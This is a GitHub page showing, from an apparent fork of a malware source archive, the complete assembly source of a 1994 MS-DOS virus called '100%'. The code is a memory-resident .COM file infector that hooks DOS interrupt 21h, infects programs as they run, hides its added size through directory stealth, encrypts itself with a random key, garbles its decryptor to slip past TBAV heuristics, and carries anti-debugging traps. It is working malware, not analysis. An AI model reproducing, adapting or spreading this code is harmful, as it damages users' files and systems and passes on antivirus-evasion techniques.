Skip to content
Navigation Menu
{{ message }}
forked from vxunderground/MalwareSourceCode
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathVirus.MSDOS.Unknown.100%.asm
More file actions
412 lines (326 loc) · 15.7 KB
/
Copy pathVirus.MSDOS.Unknown.100%.asm
File metadata and controls
412 lines (326 loc) · 15.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
; =======================================================================>
; 100% By MnemoniX - 1994
;
; This is a memory resident .COM infector which hides itself using
; directory stealth (11/12 and 4E/4F). To avoid setting heuristic
; flags in TBAV, it overwrites part of the decryption routine with
; garbage and adds instructions to repair it on the header of the
; program. Runs through TBAV flawlessly. Examine it in action and
; observe for yourself.
;
; This virus also includes debugger traps to thwart tracing.
; =======================================================================>
PING equ 30F4h ; give INT 21 this value ...
PONG equ 0DEADh ; if this returns we're res.
ID equ '%0' ; ID marker
HEADER_SIZE equ 22 ; 22 - byte .COM header
MARKER equ 20 ; marker at offset 20
code segment byte public 'code'
org 100h
assume cs:code
start:
db 17 dup (90h) ; simulate infected program
jmp virus_begin ; a real host program will
dw ID ; have some MOVs at the
host:
db 0CDh,20h ; beginning
db 20 dup(90h)
virus_begin:
db 0BBh ; mov bx,offset viral_code
code_offset dw offset virus_code
db 0B8h ; mov ax,cipher
cipher dw 0
mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code
decrypt:
xor [bx],ax ; in real infections,
ror ax,1 ; portions of this code
inc bx ; will be replaced with
inc bx ; dummy bytes, which will be
loop decrypt ; fixed up by the header.
; this complicates scanning
virus_code:
call $+3 ; BP is instruction pointer
pop bp
sub bp,offset $-1
xor ax,ax ; anti-trace ...
mov es,ax ; set interrupts 0-3 to point
mov di,ax ; to The Great Void in high
dec ax ; memory ...
mov cl,8
rep movsw
mov ax,PING ; test for residency
int 21h
cmp bx,PONG
je installed
in al,21h ; another anti-debugger
xor al,2 ; routine ... lock out
out 21h,al ; keyboard
xor al,2
out 21h,al
mov ax,ds ; not resident - install
dec ax ; ourselves in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h]
mov ds,ax
sub ax,15
mov es,ax
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
push cs ; now move virus into memory
pop ds
mov di,100h
mov cx,(offset virus_end - offset start) / 2
lea si,[bp + offset start]
rep movsw
xor ax,ax ; change interrupt 21 to point
mov ds,ax ; to ourselves
mov si,21h * 4
mov di,offset old_int_21 ; (saving original int 21)
movsw
movsw
mov word ptr ds:[si - 2],0 ; anti-trace - temporarily
; kill int 21
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es
installed:
push cs ; restore segregs
push cs
pop ds
pop es
lea si,[bp + offset host] ; and restore original
mov di,100h ; bytes of program
push di
mov cx,HEADER_SIZE
rep movsb
ret ; and we're done
; Interrupt 21 handler - trap file execute, search, open, read, and
; moves to the end of the file.
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,30F4h ; residency test?
je test_pass ; yes ....
cmp ax,4B00h ; file execute?
jne stealth
jmp execute ; yes, infect ...
stealth:
cmp ah,11h ; directory stealth
je dir_stealth_1
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; more directory stealth
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
test_pass:
call int_21 ; get real DOS version
mov bx,PONG ; and give pass signal
iret
dir_stealth_1:
call int_21 ; perform directory search
cmp al,-1 ; no more files?
jne check_file
iret ; no, skip it
check_file:
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
cmp word ptr es:[bx + 9],'OC'
jne fixed ; not .COM file, ignore
mov ax,word ptr es:[bx + 17h]
and al,31 ; check seconds -
cmp al,26 ; if 52, infected
jne fixed
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
xor si,si ; verify that this is a .COM
find_ext:
cmp byte ptr es:[bx + si],'.'
je found_ext
inc si
jmp find_ext
found_ext:
cmp word ptr es:[bx + si + 1],'OC'
jne fixed_2 ; if not .COM, skip
mov ax,word ptr es:[bx + 16h]
and al,31 ; check for infection marker
cmp al,26
jne fixed_2 ; not found, skip
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
execute:
push ax bx cx dx di ds es ; file execute ... check
; if uninfected .COM file,
mov ax,3D00h ; and if so, infect
call int_21
jnc read_header
jmp exec_exit ; can't open, leave
read_header:
xchg ax,bx
push bx ; save file handle
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; remove this if you don't
; mind scanning as [512] under
; SCAN ...
mov bl,es:[di] ; get number of the SFT
mov ax,1216h ; for this handle
int 2Fh ; ES:DI now points to SFT
pop bx
mov word ptr es:[di + 2],2 ; change open mode to R/W
push word ptr es:[di + 13] ; save file date
push word ptr es:[di + 15] ; and file time
mov ax,word ptr es:[di + 11h]
cmp ax,62579 - VIRUS_SIZE ; too big?
je exec_close
cmp ax,22 ; too small?
jb exec_close
add ax,HEADER_SIZE - 3 ; calculate virus offset
push cs
pop ds
mov ds:virus_offset,ax
mov ah,3Fh ; read header of file
mov cx,HEADER_SIZE ; to check for infection
mov dx,offset read_buffer
call int_21
cmp word ptr ds:read_buffer,'ZM'
je exec_close ; don't infect .EXE
cmp word ptr ds:read_buffer[MARKER],ID ; if infected
je exec_close ; already, skip it
mov ax,4202h ; move to end of file
call move_ptr_write
mov dx,offset read_buffer ; and save header
call int_21
call encrypt_code ; encrypt the virus code
call create_header ; and create unique header
mov ah,40h
mov cx,VIRUS_SIZE ; write virus code to file
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning of file
call move_ptr_write
mov dx,offset new_header ; write new header
call int_21
pop dx ; restore file date & time
pop cx
and cl,0E0h ; but with timestamp
or cl,26
mov ax,5701h
int 21h
mov ah,3Eh ; close file
int 21h
exec_exit:
pop es ds di dx cx bx ax
jmp int_21_exit
move_ptr_write:
cwd ; move file pointer
xor cx,cx
int 21h
mov cx,HEADER_SIZE ; and prepare for write
mov ah,40h ; to file
ret
exec_close:
pop ax ax ; clean off stack
mov ah,3Eh ; and close
int 21h
jmp exec_exit
encrypt_code proc near
push si es
push cs
pop es
xor ah,ah ; get random no.
int 1Ah ; and store in decryption
mov cipher,dx ; module
mov ax,ds:virus_offset
add ax,DECRYPTOR_SIZE + 103h
mov code_offset,ax
mov si,offset virus_begin ; first store header
mov di,offset encrypt_buffer
mov cx,DECRYPTOR_SIZE
rep movsb ; (unencryted)
mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code
encrypt:
lodsw ; simple encryption routine
xor ax,dx
ror dx,1
stosw
loop encrypt
pop es si
ret
encrypt_code endp
create_header proc near
mov ax,ds:virus_offset ; fix up addresses in new
add ax,103h + (offset decrypt - offset virus_begin)
mov ds:mov_1,ax ; header
inc ax
inc ax
mov ds:mov_2,ax
xor ah,ah ; fill in useless MOVs
int 1Ah ; with random bytes
mov ds:mov_al,cl
mov ds:mov_ax,dx
push es cs
pop es
mov di,offset encrypt_buffer
add di,offset decrypt - offset virus_begin
mov ax,dx ; now fill decryption module
neg ax ; with some garbage
stosw
rol ax,1
stosw
pop es
sub word ptr ds:virus_offset,17 ; fix up JMP instruction
ret ; done
create_header endp
new_header db 0C7h,06
mov_1 dw 00
db 31h,07 ; first MOV 6
db 0B0h
mov_al db 00 ; a nothing MOV AL, 2
db 0C7h,06
mov_2 dw 00
db 0D1h,0C8h ; second MOV 6
db 0B8h
mov_ax dw 00 ; a nothing MOV AX, 3
db 0E9h ; jump instruction 1
virus_offset dw 0 ; virus offset 2
dw ID ; ID marker 2
; total bytes = 22
sig db '[100%] By MnemoniX 1994',0
virus_end:
VIRUS_SIZE equ offset virus_end - offset virus_begin
read_buffer dw HEADER_SIZE dup (?) ; storage for orig header
encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus
heap_end:
MEM_SIZE equ offset heap_end - offset start
DECRYPTOR_SIZE equ offset virus_code - offset virus_begin
ENCRYPTED_SIZE equ offset virus_end - offset virus_code
code ends
end start
You can’t perform that action at this time.
